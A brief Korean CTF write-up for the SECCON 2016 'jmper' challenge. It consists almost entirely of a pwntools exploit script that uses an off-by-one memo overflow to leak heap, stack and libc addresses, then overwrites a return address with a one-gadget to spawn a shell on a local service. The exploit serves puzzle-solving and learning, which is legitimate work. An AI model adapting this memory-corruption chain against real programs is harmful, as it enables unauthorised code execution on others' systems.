SECCON CTF 2016 jmper

후기 : 오프셋때문에 진짜 더럽게고생했다... 문제는 참신하고 좋았지만 멍청한 컴돌이의 멘탈이 깨졌다

from pwn import *
s = remote('localhost', 4000)
elf = ELF('/home/parallels/pwnable/jmper')
libc = ELF('/home/parallels/pwnable/cdor1_libc')

exit_got = elf.got['exit']

def add():
	s.recvuntil(':)')
	s.sendline('1')

def name(id, name):
	s.recvuntil(':)')
	s.sendline('2')
	s.recvuntil('ID:')
	s.sendline(str(id))
	s.recvuntil('Input name:')
	s.sendline(name)

def memo(id, memo):
        s.recvuntil(':)')
        s.sendline('3')
        s.recvuntil('ID:')
        s.sendline(str(id))
        s.recvuntil('Input memo:')
        s.sendline(memo)

def show_name(id):
        s.recvuntil(':)')
        s.sendline('4')
        s.recvuntil('ID:')
        s.sendline(str(id))
        
def show_memo(id):
        s.recvuntil(':)')
        s.sendline('5')
        s.recvuntil('ID:')
        s.sendline(str(id))

print '[*] start exploit!'

add()
memo(0, 'a'*32)
show_memo(0)
s.recvuntil('a'*32)
leak = u32(s.recv(4))
print '[*] leaked : ' + hex(leak)

add()
memo(1, 'a'*32 + '\x78')
name(1, p32(leak - 0xF8))
show_name(1)
esp = u64(s.recv(12).ljust(8,'\x00'))
print '[*] esp : ' + hex(esp)

add()
memo(2, 'a'*32 + '\x58')
add()
name(2, p32(exit_got))
show_name(3)
exit_leak =  u64(s.recv(12).ljust(8,"\x00"))
oneshot = exit_leak + 0xA248
print '[*] exit : ' + hex(exit_leak)
print '[*] oneshot : ' + hex(oneshot)

add()
memo(4, 'd'*32 + '\xc8')
name(4, p64(esp - 0xd8))
add()
name(4, p64(oneshot))

for i in range(0,25):
	add()

s.interactive()